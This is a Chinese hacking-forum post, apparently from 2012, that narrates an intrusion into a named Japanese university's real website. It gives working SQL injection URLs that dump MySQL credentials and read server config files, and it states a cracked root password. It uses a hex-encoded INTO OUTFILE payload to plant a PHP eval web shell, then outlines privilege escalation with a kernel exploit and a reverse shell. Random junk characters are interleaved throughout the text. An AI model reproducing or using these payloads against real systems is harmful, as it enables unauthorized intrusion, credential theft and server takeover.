中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析0 H3 g- F4 l7 ?* t* T7 D; H- h) z
# x( r* ~( c7 J% f$ S7 \$ `' u
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
% m9 u1 W0 o; `+ S0 h然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
& a" ?! `- }2 J- e0 p9 A5 a4 }! t4 `  }  T# R. p  |
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
; X; T9 u6 r/ r, N; c
. r& E! U# D: ^/ e3 S4 f" ]6 I
) g4 M3 {: D2 [) j4 j: i/ L: t9 ^8 e# V; `& J  G4 D  d. G4 `" u! `: Y. m
//@@datadir为数据库文件路径
3 e  h  M5 h9 |1 M2 J# `/ y * a" C' k9 P! ?+ Y- r

% @4 k) A% O$ a2 S; X//load_file读取网站容器apache的配置文件
* T0 b" F' y! V8 Y% w: a
) Y0 @" F. n- y! `# e' a. n% p( Z; O1 X
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
3 @8 h5 l' m" \$ w4 R) y复制代码/ M4 F+ K, H- T$ Z3 P

( [; y9 q, N# Z8 K' K虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
8 Q; q* p; b7 R( x+ I3 \9 ^2 X2 }1 x" y) P& z4 }3 z; _0 k; z1 h
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。: H, u/ n+ G& O$ i/ k
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)% U( Y5 Q( Q/ q, }$ o5 ]3 D
9 _5 `% `# c" q: m
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
3 S( G2 x; t6 M+ e) F如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html5 C$ k0 }& B7 i0 `8 M: j5 L* |
( g6 p; A! x" ^. ]! z1 f4 R
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/# r: j& I& T! e+ N& X, a
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
+ M: l- g+ i+ q* o* B直接写一句话:- u0 {/ W% F. X& H. n; M& D

. h" Q( p- {6 ^; a  y6 G" Khttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
5 b' J) _$ A1 B5 I; h1 p+ _" _' W
" t. Y, [. j( T* j9 E/ P 3 z0 E) X/ N) X) f3 _% w  E

. U1 D) g7 e  u//最后的#是为了闭合前面的语句
+ l7 }0 n) q4 Y; B( W& Z+ ]; e, y ( e, O- p( X/ @  w
' `5 A1 n4 D& `- j* k
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E : A4 q7 m; n$ |& e( T1 f6 l4 }
5 d: ?" K& j: V& Z* X
7 j8 W5 o6 e6 e- A
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 1 R6 d* _" r* o# u& ]

' A) F' A- }8 A' Y) o$ F: x
. p9 j. K" g4 j' H2 q//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
$ g7 t$ l* [+ J# b% O ' y6 |' O, J: J9 v

+ v2 f: I( r- J( d& o; Z//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 1 [$ s& _6 g) G' S. q7 L2 i6 i/ l" D
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
; b  a( p6 y& x  i! @4 A复制代码( {2 Q  [6 ~/ u

( Z9 U* q% t5 D; V+ \% T- aHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有' ~0 X; @9 k. N6 T( ]2 l% L
通过上述注入语句,我们就得到了一句话木马:+ y% n% S. N9 }% p
  H# o, l/ q* Z/ @% B
) C$ R1 f3 H0 W& }4 i

/ F. J- [) \6 q3 h* ]0 X
) s! j  F$ p5 M2 u9 O/ _/ v; `& z0 n/ O
http://www.doshisha.ac.jp/english/engnews_img/aa.php " ^) x/ F- _1 A; ^" ?+ }0 {
复制代码
" V0 R1 M+ r  {  T1 j3 w+ K+ |# Y& j
用菜刀连接,密码是cmd,如图所示:
: Q2 r, r! P! X, V# B# r; ]" w然后在命令提示行里看了一下,现在的权限是:
, R9 \+ ?0 O( A' S+ j# r
' Z7 Z& K/ b% n# l0 |之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。8 V6 q# p$ X' P9 |
好在赋权给这个文件夹不需要root,直接执行赋权语句:& |9 F$ Q2 c! N' r+ e% A* v. p
3 t8 u9 Y7 n5 C; o2 F: z! |( \

. o' l3 g1 g3 @" g# q
! O; i" v4 `/ \( b  p, h  [1 ~
2 {- |) y; O7 v. E' V( O& o. |1 p& W: J  x# R# M: _0 K
chmod +x /tmp/ ( s" I' |2 A9 K3 H: b' E) n  r
复制代码7 l# E( @* X5 O1 f

1 V& M; m4 {2 b7 ]在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
3 p3 `8 H& c& A9 w8 k% u9 X$ v然后就查了一下内核版本:
0 q/ Z$ ^: G4 P. |2 p" x) }+ `
( ]8 F4 r: a/ l0 @0 S- j. ] 3 B" a% Y, F9 {1 v
( m- P  `( c4 W  H9 c2 r' o

2 J  a2 B) B, _. e( s  r. i1 Y4 X- `
uname-a
5 L" v$ [+ V0 _" ?% h! I8 V 5 ?( f# ]4 d& t% e: U/ p' B$ R' N" k

0 `  |( a; a# b5 P8 G( k& `( d//其实lsb_release -a % i7 {3 g6 ^8 c$ C
复制代码
, f! t: e0 d- m( P" Z8 C
1 D/ p6 q  `, n5 z- ^3 O% [; Y如图所示:3 ^) h( r) s( K) ?* o& ]
8 U# E8 J+ I9 g
内核版本:linux mainz1 2.6.28-194.e15. q6 y9 o5 Y* A$ {0 w  R
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)6 l3 b" F- t7 j% _; p3 F
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
0 Z8 u  F6 B; @* W9 I% H6 ~" `$ T9 S2 @- z- q) G; }0 J3 i9 T
然后给予执行权限. f2 D6 |& f0 W2 u: ]( C) l
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
/ V6 i" d8 a2 }' p0 [0 n
# S8 @% {. x7 A) ~
4 ~* @5 f0 h5 s( O2 i" t7 W6 K4 E: o

& T2 ^3 V; c- u7 ^9 K
8 ?+ {6 M& s0 dchmod +x /tmp/2.6.18-194
0 j$ W/ L' |( e5 m6 V2 j  n; ~复制代码 然后直接执行!~
3 O% M6 C: |; `7 ~9 K  ]0 C) a/ p& U% E) Z6 }8 V/ ~
总结:
1 T- n" R* n  d! n这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 r# J- ]) ]* B3 L
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
4 |1 i; c8 J6 G& U- _& r. h/ Z3 _6 w* S4 R$ \8 w$ G





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2